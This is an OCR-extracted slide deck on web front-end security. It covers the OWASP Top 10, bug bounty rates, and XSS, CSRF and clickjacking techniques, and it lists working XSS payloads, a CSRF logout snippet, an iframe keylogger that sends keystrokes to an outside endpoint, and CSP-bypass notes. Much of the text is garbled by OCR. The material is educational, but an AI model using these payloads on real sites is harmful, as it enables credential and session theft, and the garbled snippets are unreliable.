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HTML + CSS + JS
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XSS



Al Injection

A2 Broken Authentication and Session Management (was formerly
2010-A3)

A4 Insecure Direct Object References

A5 Security Misconfiguration (was formerly 2010-A6)

A6 Sensitive Data Exposure (2010-A7 Insecure Cryptographic
Storage and 2010-A9 Insufficient Transport Layer Protection were

merged to form 2013-A6)

A7 Missing Function Level Access Control (renamed/broadened from
2010-A8 Failure to Restrict URL Access)

A8 Cross-Site Request Forgery (CSRF) (was formerly 2010-A5)

A9 Using Components with Known Vulnerabilities (new but was part
of 2010-A6 — Security Misconfiguration)

Al0 Unvalidated Redirects and Forwards



Remote code execution

Unrestricted file system or
database access

Logic flaw bugs leaking or
bypassing significant
security controls

Execute code on the client

Other valid security
vulnerabilities

Examples Applications that Other highly Normal
permit taking over a sensitive Google
Google account [1] applications applications

(2]
Vuinerabilities giving direct access to Google servers

Command infection, $20,000 $20,000
deserialization bugs,
sandbox escapes

Unsandboxed XXE, SQL $10,000 $10,000
infection

Direct object reference, $10,000 $7,500
remote user

impersonation
Vulnerabilities giving access to client or authenticated session of the logged-in victim

Web: Cross-site $7.,500 $5,000 $3,133.7
scripting
Mobile: Code execution

Web: CSRF, Clickjacking $500 - $7,500 $500 - $5,000 $500 -
Mobile: Information $3,133.7
leak, privilege escalation

Non-integrated acquisitions and
other sandboxed or lower priority
applications [3]

$1,337 - $5,000

$1,337 - $5,000

$500
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2 $a = @$_GET['a'];
3 $b = @_GET['b'];
4 echo 'hello ', $a.$b;



/X .php?a=abc&b=123
hello, abcl23

/x.php?a=<svg/onload=&b=alert(1)>

JavaScript ifi &




FEUhEESRK1A%E (R_5E ' Cross-site request
forgery) ' tOETEA one-click attack
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untitied

1 <script>
2 var url = "http://example.com/logout";
3 (new Image()).src=url;

4 </Scriptﬂ



HTTP ONLY (Apache httpOnly
Cookie Disclosure)

TOKEN

Referer



aea RAERET



HIRLEREETIRGG - BEFIEEEIFRRER




ClickJacking
Drag & Drop ClickJacking
TabJacking

RFD (Reflected File
Download Attack)

XPS






(- localhost

Toggle Opacity

DRAG THIS BALL TO THE BASKET!




B Ede fde Meew Higtory Bockmarks JTools Help
-] @ - c /.\ 8 ntpy/www azacaskin/Dieg/post/a mew-type-of - phisheng-attack/ WTF?

] Genait: Email from Google x | 4 Genait Emadl from Geogle

Genait Esnail feom Geegle \

Gl"l l Welcome to Gmail

A Google approach to email.

Gmail is buill 0n the idea st email can be more intulive, elficent. and uselul. And maybe even fun, Afler all, N
Gmail has Sgn in with your

Caoogle Account
Less spam <
Koop unwantad messages out of your inbox with Googla's innovative technology Usemame

Password

Mobile access
Read Gmal on your mobde phone by pointing your phone's web browser %0 http:figmaill.com Stay sgred n

Learn mene

Sonin

Lots of space e _
Over 7458 200235 megabytes (and counting) of free slorage G0 255088 yRur aoonunt?

Latest News from the Gmail Blog N 22 It's feoe and
Now %0 Gengi? It's free easy

A naw look for Calondar

When | came 1o Google four years ago, a smal group of engineers was puting the fashing touches on Create an account »
More posts »

Aot Gma Now features!

22010 Goodle - Gmail for Business - Gmail Bica - Terms - Helo

Read st viemeo.com

https://www.youtube.com/watch?v=4fY8GIi2sl4



https://www.youtube.com/watch?v=4fY8GIi2sl4
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http://drops.wooyun.org/papers/3771



http://drops.wooyun.org/papers/3771

cCopy & pest

cross application XSS

http://www.slideshare.net/x00mario/copypest



http://www.slideshare.net/x00mario/copypest
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php.net
php.net

"B oscar.lee “oscardx39 - 21 /N
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php.net



http://php.net

O oOo~NOTOLAEWNRE

<script src="http://code.jquery.com/jquery-1.6.1.min.js"></script>

<iframe

src="http://xxxx.com/login"

id="w"

style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:2; background-color:#ffffff;"

onload="

$('#w') .contents() .keypress(function(event) {

$.get('http://10calhost/k.php?x=‘+event.wh1ch+'lt='+event.time5tamp,function(data){});}

$"></iframe>



WebRTC => get lan IP
port scan

<script src=ftp://192.168.1.1
onload=alert(1l)></script>

CSS => fake login

http://www.wooyun.orqg/bugs/wooyun-2014-076685



http://www.wooyun.org/bugs/wooyun-2014-076685

1 < >window.onerror = function(err) {alert(err)}</ >
? 2 E] type="text/javascript" src=“http://localhost:9999/test.csv"></script>

# test.csv
1,abc,def,ghi

JavaScript

ReferenceError: Can't find variable: abc




X-Content-Type-Options:
nosniff



exiftool -artist=="<script>alert(/xss/);</script>"

EXIF Viewer

OVERVIEW REVIEWS SUPPORT RELATED

Quick viewing EXIF

EX' F Viewer Opti ons View EXIF data just mouse over the

image
Supportes Template, Cache, Exclude (in
Options page)

General Cache Exclude
sz== UPDATES ====

242

Cache size: |100 * Fix the "ExposureBias” parse bug

Cache entries: Show entries Clear 244

Save |Reso:-t * Fixed bugs

240
* Added close button to remove info bar

© Report Abuse
Version: 2.4.2
Updated: June 26, 2014
Size: 110KB

Languages: See all 5




<script type-"text/javascript">
window.attachEvent("onload", function() {

var detector = document.getElementById("detector");

detector.attachEvent("onmousemove", function (e) {
detector.innerHTML = e.screenX + ", " + e.screenY;

1)

setInterval(function () {
detector.fireEvent("onmousemove") ;

}, 100);

})s;
11 </script]
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Gl Domain [@ Port

*xE <form />

i <input username/password />

setTimeout BFREERE3
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2B Reflected XSS
1% Stored XSS
DOM XSS



mXSS (mutation Cross-site Scripting)
UXSS (Universal Cross-site Scripting)

Blind XSS

XSSI (Cross Site Script Inclusion)
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HTML 45 A5
JavaScriptimis
URLZR IS

FIC4RIE (8,10,16)#RI, ASCIT,
Unicode
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HEYEAIRE <m/onclick=alert(1)>

4!

-

SVG <svg><script>prompté&#40;1)</script>

IE {text-size:"expression(alert('1'))";}
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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</titlie>
{script>
//<![CDATA|
window.onload- function(){
alert("After: " + document.location.href);
</script>
</head>
<body>
<script>alert("Before: " + document.location.href);</script>
<iframe name="location" srcdoc="<a href='http://google.com' id='href'>"></iframe>
</body>
</html>



JavaScript

Before: file:///Users-Desktop/test/test.html

-I-

JavaScript
After: http://google.com/
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HTML5[E:E



TAG

<script> <a> <p> <img> <body> <button> <var> <div>
<iframe> <object> <input> <select> <textarea>
<keygen> <frameset> <embed> <svg> <math> <video>
<audio>

EVENT

onload onunload onchange onsubmit onreset onselect
onblur onfocus onabort onkeydown onkeypress onkeyup
onclick ondbclick onmouseover onmousemove onmouseout
onmouseup onforminput onformchange ondrag ondrop



WebRTC * RATFEBMAEBNRE (REE  web
Real-Time Communication) BYAEEE ' 2—1B
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Mozilla * OperaXi& FEMAZIREAMAIHEH
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https://dl.dropboxusercontent.com/u/1878671/enumhosts.html



https://dl.dropboxusercontent.com/u/1878671/enumhosts.html

Secure Web Fingerprint Transmission

L?\..

I'I'

1

B ES HRE

Eftl:ll:l

=AM AL H#&%%ﬁﬂ—?—"é render A—IRHIIER

1

5 hash 2E{E cookie

https://blog.gslin.org/archives/2014/08/05/4927/%E7%94%A8-canvas-—

fingerprint-%E5%8F%96%E43BB3A33E9%83%A8%E43%BB%BD-cookie/



http://drops.wooyun.org/papers/3771
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alert 1
eval.call ${’alert\x281)'}"

[].every.call alert\x281)S$
{eval}
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XSS FILTER
support CSP



CSP (Content-Security-Policy)
X-Frame-Options

Hook JS Function

PhantomdJs

WAF



Content-Security-Policy
Content-Security-Policy-Report-Only
X-Content-Security-Policy
X-Content-Security-Policy-Report-0Only
X-WebKit-CSP

X-WebKit-CSP-Report-0Only

devco.re/blog/2014/04/08/security-issues-of-http-headers-2-content-security-
policy/



http://drops.wooyun.org/papers/3771

NoScript















content-type = application/
json;charset=utf-8






https://html5sec.org/cspbypass/

http://zone.wooyun.org/content/10596



http://zone.wooyun.org/content/10596

Using Google Cloud to Bypass
NoScript

http://labs.detectify.com/post/
122837757551 /using-google-cloud-
to-bypass-noscript



http://labs.detectify.com/post/122837757551/using-google-cloud-to-bypass-noscript




/?a=<script>alert(1l)</script>

Q [] Elements Network Sources Timeline Profiles Resources Audits | Console| Redirect

© W <topframe> v Preserve log

© The XSS Auditor refused to execute a script in 'http://localhost:9000 php?a=%3Cscript%3Ealert(1)%3C/s
was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header.

> |




/?2a=<svg><script>/<l/>alert(1l)</
script></svg>

localhost:9000 B R G :
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The rise of Angular.js






